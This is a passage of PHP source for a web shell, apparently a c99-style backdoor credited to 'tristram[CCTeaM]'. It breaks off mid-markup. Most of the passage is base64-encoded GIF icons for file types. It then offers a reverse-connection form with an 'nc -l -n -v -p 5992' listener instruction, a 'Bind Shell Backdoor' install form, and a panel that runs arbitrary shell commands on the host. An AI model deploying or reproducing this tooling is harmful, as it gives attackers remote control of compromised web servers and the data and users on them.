+"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". +"yAsokBkQADs=", +"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". +"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", +"sort_asc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". +"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", +"sort_desc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". +"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", +"sql_button_drop"=> +"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". +"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/". +"AQEAOw==", +"sql_button_empty"=> +"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". +"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==", +"sql_button_insert"=> +"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA". +"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=", +"up"=> +"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg". +"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV". +"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==", +"write"=> +"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". +"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". +"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", +"ext_asp"=> +"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". +"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". +"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", +"ext_mp3"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". +"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". +"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", +"ext_avi"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM". +"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4". +"PYXCyg+V2i44XeRmSfYqsGhAAgA7", +"ext_cgi"=> +"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9". +"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6". +"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S". +"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ". +"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM". +"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD". +"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi". +"RYtMAgEAOw==", +"ext_cmd"=> +"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". +"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". +"dmrYAMn1onq/YKpjvEgAADs=", +"ext_cpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". +"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". +"Eq7YrLDE7a4SADs=", +"ext_ini"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". +"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". +"SnEjgPVarHEHgrB43JvszsQEADs=", +"ext_diz"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". +"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". +"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". +"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". +"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". +"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". +"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". +"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". +"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". +"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". +"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". +"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". +"Ow==", +"ext_doc"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". +"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". +"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", +"ext_exe"=> +"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". +"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". +"xhIAOw==", +"ext_h"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". +"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". +"Wq/NknbbSgAAOw==", +"ext_hpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". +"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". +"UqUagnbLdZa+YFcCADs=", +"ext_htaccess"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". +"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". +"AAA7", +"ext_html"=> +"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". +"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". +"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". +"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". +"ADs=", +"ext_jpg"=> +"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". +"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". +"FxEAOw==", +"ext_js"=> +"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". +"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". +"a00AjYYBbc/o9HjNniUAADs=", +"ext_lnk"=> +"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". +"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". +"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". +"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". +"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". +"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". +"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". +"ADs=", +"ext_log"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". +"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", +"ext_php"=> +"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg". +"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==", +"ext_pl"=> +"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". +"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", +"ext_swf"=> +"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". +"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". +"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". +"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", +"ext_tar"=> +"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". +"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". +"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". +"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". +"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". +"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". +"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". +"u4tLAgEAOw==", +"ext_txt"=> +"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". +"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". +"UpPWG3Ig6Hq/XmRjuZwkAAA7", +"ext_wri"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", +"ext_xml"=> +"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". +"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". +"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". +"IQA7" +); +//For simple size- and speed-optimization. +$imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") +); +if (!$getall) +{ + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); +} +else +{ + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} + natsort($images); + $k = array_keys($images); + echo "<center>"; + foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} + echo "</center>"; +} +exit; +} +if ($act == "about") {echo "<center><b>Credits:<br>Idea, leading and coding by tristram[CCTeaM].<br>Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM].<br>Thanks all who report bugs.<br>All bugs send to tristram's ICQ #656555 <a href=\"http://wwp.icq.com/scripts/contact.dll?msgto=656555\"><img src=\"http://wwp.icq.com/scripts/online.dll?icq=656555&img=5\" border=0 align=absmiddle></a>.</b>";} +if ($act == "backc") +{ +$ip = $_SERVER["REMOTE_ADDR"]; +$msg = $_POST['backcconnmsg']; +$emsg = $_POST['backcconnmsge']; +echo("<center><b>Back-Connection:</b></br></br><form name=form method=POST>Host:<input type=text name=backconnectip size=15 value=$ip> Port: <input type=text name=backconnectport size=15 value=5992> Use: <select size=1 name=use><option value=Perl>Perl</option><option value=C>C</option></select> <input type=submit name=submit value=Connect></form>Click 'Connect' only after you open port for it first. Once open, use NetCat, and run '<b>nc -l -n -v -p 5992</b>'<br><br></center>"); +echo("$msg"); +echo("$emsg"); +} + +if ($act == "shbd"){ +$msg = $_POST['backcconnmsg']; +$emsg = $_POST['backcconnmsge']; +echo("<center><b>Bind Shell Backdoor:</b></br></br><form name=form method=POST> +Bind Port: <input type='text' name='backconnectport' value='5992'> +<input type='hidden' name='use' value='shbd'> +<input type='submit' value='Install Backdoor'></form>"); +echo("$msg"); +echo("$emsg"); +echo("</center>"); +} ?> +</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td width="100%" height="1" valign="top" colspan="2"></td></tr> +<tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE> +<br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"></td></tr> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center">Useful Commands + </div> + <form action="<?php echo $surl; ?>"> + <div align="center"> + <input type=hidden name=act value="cmd"> + <input type=hidden name="d" value="<?php echo $dispd; ?>"> + <SELECT 